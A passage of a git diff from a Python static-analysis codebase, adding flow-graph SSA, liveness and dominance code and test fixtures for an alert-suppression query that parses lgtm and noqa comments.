in phi_nodes: + for v in phi_nodes[n]: + if v in live_vars: + var = make_ssa_var(v, n) + if var not in ssa_phis: + ssa_phis[var] = set() + ssa_vars.add(live_vars[v]) + ssa_phis[var].add(live_vars[v]) + #Prune unused definitions. + used_ssa_defns = {} + for var in ssa_defns: + if var in ssa_vars: + used_ssa_defns[var] = ssa_defns[var] + ssa_defns = used_ssa_defns + sorted_vars = list(self._sort_ssa_variables(ssa_vars)) + assert set(sorted_vars) == ssa_vars + assert len(sorted_vars) == len(ssa_vars) + ssa_vars = sorted_vars + return ssa_vars, ssa_defns, ssa_uses, ssa_phis + + + def ssa_variables(self): + '''Returns all the SSA variables for this graph''' + self._require('ssa_data') + return self._ssa_data[0] + + def _sort_ssa_variables(self, ssa_vars): + node_to_var = {} + for v in ssa_vars: + node = v.node + if node in node_to_var: + vset = node_to_var[node] + else: + vset = set() + node_to_var[node] = vset + vset.add(v) + for n in self.all_nodes: + if n in node_to_var: + variables = node_to_var[n] + for v in sorted(variables, key=lambda v:v.variable.id): + yield v + + def ssa_definitions(self): + '''Returns all the SSA definition as an iterator of (node, variable) pairs.''' + self._require('ssa_data') + ssa_defns = self._ssa_data[1] + reversed_defns = _reverse_map(ssa_defns) + for n in self.all_nodes: + if n in reversed_defns: + variables = reversed_defns[n] + for v in sorted(variables, key=lambda v:v.variable.id): + yield n, v + + def get_ssa_definition(self, var): + '''Returns the definition node of var. Returns None if there is no definition.''' + self._require('ssa_data') + ssa_defns = self._ssa_data[1] + return ssa_defns.get(var) + + def ssa_uses(self): + '''Returns all the SSA uses as an iterator of (node, variable) pairs.''' + self._require('ssa_data') + ssa_uses = self._ssa_data[2] + for n in self.all_nodes: + if n in ssa_uses: + variables = ssa_uses[n] + for v in sorted(variables, key=lambda v:v.variable.id): + yield n, v + + def get_ssa_variables_used(self, node): + '''Returns all the SSA variables used at this node''' + self._require('ssa_data') + ssa_uses = self._ssa_data[2] + return ssa_uses.get(node, ()) + + def ssa_phis(self): + '''Return all SSA phi inputs as an iterator of (variable, input-variable) pairs.''' + self._require('ssa_data') + ssa_phis = self._ssa_data[3] + ssa_vars = self._ssa_data[0] + indexed = dict((v, index) for index, v in enumerate(ssa_vars)) + for v in ssa_vars: + if v not in ssa_phis: + continue + phis = ssa_phis[v] + for phi in sorted(phis, key=lambda v:indexed[v]): + yield v, phi + + def _compute_bb_heads(self): + '''Compute all flow nodes that are the first node in a basic block.''' + bb_heads = set() + for node in self.all_nodes: + preds = self.pred[node] + if len(preds) != 1 or len(self.succ[preds[0]]) != 1: + bb_heads.add(node) + return bb_heads + + def _compute_basic_blocks(self): + '''Compute Basic blocks membership''' + self._require('bb_heads') + basic_blocks = {} + bb_tails = {} + for bb in self._bb_heads: + for index, node in enumerate(self.nodes_in_bb(bb)): + basic_blocks[node] = bb, index + bb_tails[bb] = node + self._bb_tails = bb_tails + return basic_blocks + + def get_basic_blocks(self): + self._require('basic_blocks') + return self._basic_blocks + + def _compute_bb_succ(self): + self._require('basic_blocks') + bb_succs = {} + for bb in self._bb_heads: + bb_succs[bb] = self.succ[self._bb_tails[bb]] + return bb_succs + + def _compute_bb_pred(self): + self._require('basic_blocks') + bb_preds = {} + for bb in self._bb_heads: + preds_of_bb = self.pred[bb] + bb_preds[bb] = SmallSet(self._basic_blocks[p][0] for p in preds_of_bb) + return bb_preds + + def nodes_in_bb(self, bb): + '''Return an iterator over all node in basic block 'bb.''' + node = bb + while True: + yield node + succs = self.succ[node] + if not succs: + return + node = succs[0] + if node in self._bb_heads: + return + + + def _compute_use_all(self): + '''Compute which variables have been defined. + A variable is defined at node n, if there is a path to n which + passes through a definition, but not through a subsequent deletion. + ''' + + self._require('bb_heads') + self._require('bb_succ') + self._require('bb_pred') + use_all = {} + + def defined_in_block(bb): + defined = defined_at_start[bb].copy() + for node in self.nodes_in_bb(bb): + if node in self.definitions: + var = self.definitions[node] + defined.add(var) + if node in self.deletions: + var = self.deletions[node] + defined.discard(var) + if node in self.use_all_nodes: + use_all[node] = frozenset(defined) + return defined + + defined_at_start = {} + work_set = set() + for bb in self._bb_heads: + if not self._bb_pred[bb]: + work_set.add(bb) + defined_at_start[bb] = set() + work_list = list(work_set) + while work_list: + bb = work_list.pop() + work_set.remove(bb) + defined_at_bb_end = defined_in_block(bb) + for succ in self._bb_succ[bb]: + if succ not in defined_at_start: + defined_at_start[succ] = set() + elif defined_at_start[succ] >= defined_at_bb_end: + continue + defined_at_start[succ].update(defined_at_bb_end) + if succ not in work_set: + work_list.append(succ) + work_set.add(succ) + return use_all + + def _compute_liveness(self): + '''Compute liveness of all variables in this flow-graph. + Return a mapping of basic blocks to the set of variables + that are live at the start of that basic block. + See http://en.wikipedia.org/wiki/Live_variable_analysis.''' + + self._require('bb_pred') + self._require('use_all') + + def gen_and_kill_for_block(bb): + gen = set() + kill = set() + for node in reversed(list(self.nodes_in_bb(bb))): + if node in self.uses: + var = self.uses[node] + gen.add(var) + kill.discard(var) + if node in self.deletions: + var = self.deletions[node] + gen.add(var) + kill.discard(var) + if node in self.definitions: + var = self.definitions[node] + gen.discard(var) + kill.add(var) + if node in self._use_all: + for var in self._use_all[node]: + gen.add(var) + kill.discard(var) + return gen, kill + + def liveness_for_block(bb, live_out): + return gens[bb].union(live_out.difference(kills[bb])) + + live_at_end = {} + live_at_start = {} + gens = {} + kills = {} + work_set = set() + #Initialise + for bb in self._bb_heads: + gens[bb], kills[bb] = gen_and_kill_for_block(bb) + live_at_end[bb] = set() + live_at_start[bb] = set() + work_set.add(bb) + #Find fixed point + while work_set: + bb = work_set.pop() + live_in = liveness_for_block(bb, live_at_end[bb]) + if live_in != live_at_start[bb]: + assert len(live_in) > len(live_at_start[bb]) + live_at_start[bb] = live_in + for pred in self._bb_pred[bb]: + work_set.add(pred) + live_at_end[pred] = live_at_end[pred].union(live_in) + return live_at_start + + + def delete_unreachable_nodes(self): + self._require("reachable") + unreachable = [u for u in self.all_nodes if u not in self._reachable] + if not unreachable: + return + for mapping in (self.definitions, self.deletions, self.uses): + for u in unreachable: + if u in mapping: + del mapping[u] + for u in unreachable: + self.use_all_nodes.discard(u) + self.remove_node(u) + #Make sure we retain the order of all_nodes. + self.all_nodes = [r for r in self.all_nodes if r in self._reachable] + self.clear_computed() + + def dominated_by(self, node): + self._require('idoms') + assert node in self, str(node) + " is not in graph" + dominated = set([node]) + todo = set(self.succ[node]) + while todo: + n = todo.pop() + if n in dominated: + continue + #Unreachable nodes will not be in self._idoms + if n in self._idoms and self._idoms[n] in dominated: + dominated.add(n) + todo.update(self.succ[n]) + return dominated + + def strictly_dominates(self, pre, post): + self._require('idoms') + while post in self._idoms: + post = self._idoms[post] + if pre == post: + return True + return False + + def reaches_while_dominated(self, pre, post, control): + ''' Holds if `pre` reaches `post` while remaining in the + region dominated by `control`.''' + self._require('dominance_frontier') + dominance_frontier = self._dominance_frontier[control] + todo = { pre } + reached = set() + while todo: + node = todo.pop() + if node in dominance_frontier: + continue + if node == post: + return True + if node in reached: + continue + reached.add(node) + todo.update(self.succ[node]) + return False + + +class SSA_Var(object): + 'A single static assignment variable' + + __slots__ = [ 'variable', 'node' ] + + def __init__(self, variable, node): + self.variable = variable + self.node = node + + def __repr__(self): + return 'SSA_Var(%r, %r)' % (self.variable.id, self.node) + + +def _reverse_map(mapping): + 'Reverse a mapping of keys -> values to value->set(keys)' + inv_map = {} + for k, v in mapping.items(): + if v not in inv_map: + inv_map[v] = SmallSet() + inv_map[v].add(k) + return inv_map + diff --git a/python/ql/test/query-tests/analysis/suppression/AlertSuppression.expected b/python/ql/test/query-tests/analysis/suppression/AlertSuppression.expected new file mode 100644 index 00000000000..d74b3843872 --- /dev/null +++ b/python/ql/test/query-tests/analysis/suppression/AlertSuppression.expected @@ -0,0 +1,59 @@ +| test.py:4:4:4:9 | Comment # lgtm | lgtm | lgtm | test.py:4:1:4:9 | suppression range | +| test.py:5:4:5:27 | Comment # lgtm[py/line-too-long] | lgtm[py/line-too-long] | lgtm[py/line-too-long] | test.py:5:1:5:27 | suppression range | +| test.py:6:4:6:51 | Comment # lgtm[py/line-too-long, py/non-callable-called] | lgtm[py/line-too-long, py/non-callable-called] | lgtm[py/line-too-long, py/non-callable-called] | test.py:6:1:6:51 | suppression range | +| test.py:7:4:7:24 | Comment # lgtm[@tag:security] | lgtm[@tag:security] | lgtm[@tag:security] | test.py:7:1:7:24 | suppression range | +| test.py:8:4:8:41 | Comment # lgtm[@tag:security,py/line-too-long] | lgtm[@tag:security,py/line-too-long] | lgtm[@tag:security,py/line-too-long] | test.py:8:1:8:41 | suppression range | +| test.py:9:4:9:30 | Comment # lgtm[@expires:2017-06-11] | lgtm[@expires:2017-06-11] | lgtm[@expires:2017-06-11] | test.py:9:1:9:30 | suppression range | +| test.py:10:4:10:65 | Comment # lgtm[py/non-callable-called] because I know better than lgtm | lgtm[py/non-callable-called] because I know better than lgtm | lgtm[py/non-callable-called] | test.py:10:1:10:65 | suppression range | +| test.py:11:4:11:20 | Comment # lgtm: blah blah | lgtm: blah blah | lgtm | test.py:11:1:11:20 | suppression range | +| test.py:12:4:12:34 | Comment # lgtm blah blah #falsepositive | lgtm blah blah #falsepositive | lgtm | test.py:12:1:12:34 | suppression range | +| test.py:13:4:13:36 | Comment # lgtm blah blah -- falsepositive | lgtm blah blah -- falsepositive | lgtm | test.py:13:1:13:36 | suppression range | +| test.py:14:4:14:34 | Comment #lgtm [py/non-callable-called] | lgtm [py/non-callable-called] | lgtm [py/non-callable-called] | test.py:14:1:14:34 | suppression range | +| test.py:15:4:15:11 | Comment # lgtm[] | lgtm[] | lgtm[] | test.py:15:1:15:11 | suppression range | +| test.py:17:4:17:8 | Comment #lgtm | lgtm | lgtm | test.py:17:1:17:8 | suppression range | +| test.py:18:4:18:12 | Comment # lgtm | lgtm | lgtm | test.py:18:1:18:12 | suppression range | +| test.py:19:4:19:31 | Comment # lgtm [py/line-too-long] | lgtm [py/line-too-long] | lgtm [py/line-too-long] | test.py:19:1:19:31 | suppression range | +| test.py:20:4:20:14 | Comment # lgtm lgtm | lgtm lgtm | lgtm | test.py:20:1:20:14 | suppression range | +| test.py:27:12:27:23 | Comment #lgtm [func] | lgtm [func] | lgtm [func] | test.py:27:1:27:23 | suppression range | +| test.py:29:17:29:35 | Comment # lgtm on docstring | lgtm on docstring | lgtm | test.py:29:1:29:35 | suppression range | +| test.py:30:16:30:47 | Comment #lgtm [py/duplicate-key-in-dict] | lgtm [py/duplicate-key-in-dict] | lgtm [py/duplicate-key-in-dict] | test.py:30:1:30:47 | suppression range | +| test.py:35:10:35:21 | Comment # lgtm class | lgtm class | lgtm | test.py:35:1:35:21 | suppression range | +| test.py:36:21:36:33 | Comment # lgtm method | lgtm method | lgtm | test.py:36:1:36:33 | suppression range | +| test.py:39:4:39:8 | Comment #noqa | noqa | lgtm | test.py:39:1:39:8 | suppression range | +| test.py:40:4:40:9 | Comment # noqa | noqa | lgtm | test.py:40:1:40:9 | suppression range | +| test.py:50:34:50:117 | Comment # noqa: E501; (line too long) pylint: disable=invalid-name; lgtm [py/missing-equals] | noqa: E501; (line too long) pylint: disable=invalid-name; lgtm [py/missing-equals] | lgtm [py/missing-equals] | test.py:50:1:50:117 | suppression range | +| test.py:52:4:52:67 | Comment # noqa: E501; (line too long) pylint: disable=invalid-name; lgtm | noqa: E501; (line too long) pylint: disable=invalid-name; lgtm | lgtm | test.py:52:1:52:67 | suppression range | +| test.py:53:4:53:78 | Comment # random nonsense lgtm [py/missing-equals] and then some more commentary... | random nonsense lgtm [py/missing-equals] and then some more commentary... | lgtm [py/missing-equals] | test.py:53:1:53:78 | suppression range | +| test.py:58:4:58:9 | Comment # LGTM | LGTM | LGTM | test.py:58:1:58:9 | suppression range | +| test.py:59:4:59:27 | Comment # LGTM[py/line-too-long] | LGTM[py/line-too-long] | LGTM[py/line-too-long] | test.py:59:1:59:27 | suppression range | +| test.py:65:4:65:60 | Comment # lgtm[py/line-too-long] and lgtm[py/non-callable-called] | lgtm[py/line-too-long] and lgtm[py/non-callable-called] | lgtm[py/line-too-long] | test.py:65:1:65:60 | suppression range | +| test.py:65:4:65:60 | Comment # lgtm[py/line-too-long] and lgtm[py/non-callable-called] | lgtm[py/line-too-long] and lgtm[py/non-callable-called] | lgtm[py/non-callable-called] | test.py:65:1:65:60 | suppression range | +| test.py:66:4:66:33 | Comment # lgtm[py/line-too-long]; lgtm | lgtm[py/line-too-long]; lgtm | lgtm | test.py:66:1:66:33 | suppression range | +| test.py:66:4:66:33 | Comment # lgtm[py/line-too-long]; lgtm | lgtm[py/line-too-long]; lgtm | lgtm[py/line-too-long] | test.py:66:1:66:33 | suppression range | +| testWindows.py:4:4:4:9 | Comment # lgtm | lgtm | lgtm | testWindows.py:4:1:4:9 | suppression range | +| testWindows.py:5:4:5:27 | Comment # lgtm[py/line-too-long] | lgtm[py/line-too-long] | lgtm[py/line-too-long] | testWindows.py:5:1:5:27 | suppression range | +| testWindows.py:6:4:6:51 | Comment # lgtm[py/line-too-long, py/non-callable-called] | lgtm[py/line-too-long, py/non-callable-called] | lgtm[py/line-too-long, py/non-callable-called] | testWindows.py:6:1:6:51 | suppression range | +| testWindows.py:7:4:7:24 | Comment # lgtm[@tag:security] | lgtm[@tag:security] | lgtm[@tag:security] | testWindows.py:7:1:7:24 | suppression range | +| testWindows.py:8:4:8:41 | Comment # lgtm[@tag:security,py/line-too-long] | lgtm[@tag:security,py/line-too-long] | lgtm[@tag:security,py/line-too-long] | testWindows.py:8:1:8:41 | suppression range | +| testWindows.py:9:4:9:30 | Comment # lgtm[@expires:2017-06-11] | lgtm[@expires:2017-06-11] | lgtm[@expires:2017-06-11] | testWindows.py:9:1:9:30 | suppression range | +| testWindows.py:10:4:10:65 | Comment # lgtm[py/non-callable-called] because I know better than lgtm | lgtm[py/non-callable-called] because I know better than lgtm | lgtm[py/non-callable-called] | testWindows.py:10:1:10:65 | suppression range | +| testWindows.py:11:4:11:20 | Comment # lgtm: blah blah | lgtm: blah blah | lgtm | testWindows.py:11:1:11:20 | suppression range | +| testWindows.py:12:4:12:34 | Comment # lgtm blah blah #falsepositive | lgtm blah blah #falsepositive | lgtm | testWindows.py:12:1:12:34 | suppression range | +| testWindows.py:13:4:13:36 | Comment # lgtm blah blah -- falsepositive | lgtm blah blah -- falsepositive | lgtm | testWindows.py:13:1:13:36 | suppression range | +| testWindows.py:14:4:14:34 | Comment #lgtm [py/non-callable-called] | lgtm [py/non-callable-called] | lgtm [py/non-callable-called] | testWindows.py:14:1:14:34 | suppression range | +| testWindows.py:15:4:15:11 | Comment # lgtm[] | lgtm[] | lgtm[] | testWindows.py:15:1:15:11 | suppression range | +| testWindows.py:17:4:17:8 | Comment #lgtm | lgtm | lgtm | testWindows.py:17:1:17:8 | suppression range | +| testWindows.py:18:4:18:12 | Comment # lgtm | lgtm | lgtm | testWindows.py:18:1:18:12 | suppression range | +| testWindows.py:19:4:19:31 | Comment # lgtm [py/line-too-long] | lgtm [py/line-too-long] | lgtm [py/line-too-long] | testWindows.py:19:1:19:31 | suppression range | +| testWindows.py:20:4:20:14 | Comment # lgtm lgtm | lgtm lgtm | lgtm | testWindows.py:20:1:20:14 | suppression range | +| testWindows.py:27:12:27:23 | Comment #lgtm [func] | lgtm [func] | lgtm [func] | testWindows.py:27:1:27:23 | suppression range | +| testWindows.py:29:17:29:35 | Comment # lgtm on docstring | lgtm on docstring | lgtm | testWindows.py:29:1:29:35 | suppression range | +| testWindows.py:30:16:30:47 | Comment #lgtm [py/duplicate-key-in-dict] | lgtm [py/duplicate-key-in-dict] | lgtm [py/duplicate-key-in-dict] | testWindows.py:30:1:30:47 | suppression range | +| testWindows.py:35:10:35:21 | Comment # lgtm class | lgtm class | lgtm | testWindows.py:35:1:35:21 | suppression range | +| testWindows.py:36:21:36:33 | Comment # lgtm method | lgtm method | lgtm | testWindows.py:36:1:36:33 | suppression range | +| testWindows.py:39:3:39:7 | Comment #noqa | noqa | lgtm | testWindows.py:39:1:39:7 | suppression range | +| testWindows.py:40:4:40:9 | Comment # noqa | noqa | lgtm | testWindows.py:40:1:40:9 | suppression range | +| testWindows.py:48:4:48:60 | Comment # lgtm[py/line-too-long] and lgtm[py/non-callable-called] | lgtm[py/line-too-long] and lgtm[py/non-callable-called] | lgtm[py/line-too-long] | testWindows.py:48:1:48:60 | suppression range | +| testWindows.py:48:4:48:60 | Comment # lgtm[py/line-too-long] and lgtm[py/non-callable-called] | lgtm[py/line-too-long] and lgtm[py/non-callable-called] | lgtm[py/non-callable-called] | testWindows.py:48:1:48:60 | suppression range | +| testWindows.py:49:4:49:33 | Comment # lgtm[py/line-too-long]; lgtm | lgtm[py/line-too-long]; lgtm | lgtm | testWindows.py:49:1:49:33 | suppression range | +| testWindows.py:49:4:49:33 | Comment # lgtm[py/line-too-long]; lgtm | lgtm[py/line-too-long]; lgtm | lgtm[py/line-too-long] | testWindows.py:49:1:49:33 | suppression range | diff --git a/python/ql/test/query-tests/analysis/suppression/AlertSuppression.qlref b/python/ql/test/query-tests/analysis/suppression/AlertSuppression.qlref new file mode 100644 index 00000000000..7837430fbf9 --- /dev/null +++ b/python/ql/test/query-tests/analysis/suppression/AlertSuppression.qlref @@ -0,0 +1 @@ +analysis/AlertSuppression.ql diff --git a/python/ql/test/query-tests/analysis/suppression/test.py b/python/ql/test/query-tests/analysis/suppression/test.py new file mode 100644 index 00000000000..17c495ff1a4 --- /dev/null +++ b/python/ql/test/query-tests/analysis/suppression/test.py @@ -0,0 +1,66 @@ + +# Formatting tests: + +"" # lgtm +"" # lgtm[py/line-too-long] +"" # lgtm[py/line-too-long, py/non-callable-called] +"" # lgtm[@tag:security] +"" # lgtm[@tag:security,py/line-too-long] +"" # lgtm[@expires:2017-06-11] +"" # lgtm[py/non-callable-called] because I know better than lgtm +"" # lgtm: blah blah +"" # lgtm blah blah #falsepositive +"" # lgtm blah blah -- falsepositive +"" #lgtm [py/non-callable-called] +"" # lgtm[] +"" # lgtmfoo +"" #lgtm +"" # lgtm +"" # lgtm [py/line-too-long] +"" # lgtm lgtm + + +#lgtm -- Ignore this -- No line or scope. + +#On real code: + +def foo(): #lgtm [func] + # lgtm -- Blank line (ignore for now, maybe scope wide in future). + "docstring" # lgtm on docstring + return { #lgtm [py/duplicate-key-in-dict] + "a": 1, + "a": 2 + } + +class C: # lgtm class + def meth(self): # lgtm method + pass + +"" #noqa +"" # noqa + +"The following should be ignored" +"" # flake8: noqa +"" # noqa: F401 +"" # noqa -- Some extra detail. +"" #Ignore + +#Suppression for multiple tools +#LGTM-1929 +class frozenbidict(BidictBase): # noqa: E501; (line too long) pylint: disable=invalid-name; lgtm [py/missing-equals] + pass +"" # noqa: E501; (line too long) pylint: disable=invalid-name; lgtm +"" # random nonsense lgtm [py/missing-equals] and then some more commentary... + + +# Case insensitive comments + +"" # LGTM +"" # LGTM[py/line-too-long] + +#Avoid some erroneous matches +"" # foolgtm[py/missing-equals] +"" # foolgtm + +"" # lgtm[py/line-too-long] and lgtm[py/non-callable-called] +"" # lgtm[py/line-too-long]; lgtm diff --git a/python/ql/test/query-tests/analysis/suppression/testWindows.py b/python/ql/test/query-tests/analysis/suppression/testWindows.py new file mode 100644 index 00000000000..50c8f8a5aae --- /dev/null +++ b/python/ql/test/query-tests/analysis/suppression/testWindows.py @@ -0,0 +1,49 @@ + +# Formatting tests: + +"" # lgtm +"" # lgtm[py/line-too-long] +"" # lgtm[py/line-too-long, py/non-callable-called] +"" # lgtm[@tag:security] +"" # lgtm[@tag:security,py/line-too-long] +"" # lgtm[@expires:2017-06-11] +"" # lgtm[py/non-callable-called] because I know better than lgtm +"" # lgtm: blah blah +"" # lgtm blah blah #falsepositive +"" # lgtm blah blah -- falsepositive +"" #lgtm [py/non-callable-called] +"" # lgtm[] +"" # lgtmfoo +"" #lgtm +"" # lgtm +"" # lgtm [py/line-too-long] +"" # lgtm lgtm + + +#lgtm -- Ignore this -- No line or scope. + +#On real code: + +def foo(): #lgtm [func] + # lgtm -- Blank line (ignore for now, maybe scope wide in future). + "docstring" # lgtm on docstring + return { #lgtm [py/duplicate-key-in-dict] + "a": 1, + "a": 2 + } + +class C: # lgtm class + def meth(self): # lgtm method + pass + +""#noqa +"" # noqa + +"The following should be ignored" +# flake8: noqa +# noqa: F401 +# noqa -- Some extra detail. +#Ignore + +"" # lgtm[py/line-too-long] and lgtm[py/non-callable-called] +"" # lgtm[py/line-too-long]; lgtm diff --git a/python/ql/test/query-tests/options b/python/ql/test/query-tests/options new file mode 100644 index 00000000000..bd016eb1ce5 --- /dev/null +++ b/python/ql/test/query-tests/options @@ -0,0 +1,2 @@ +automatic_locations: true +semmle-extractor-options: --max-import-depth=1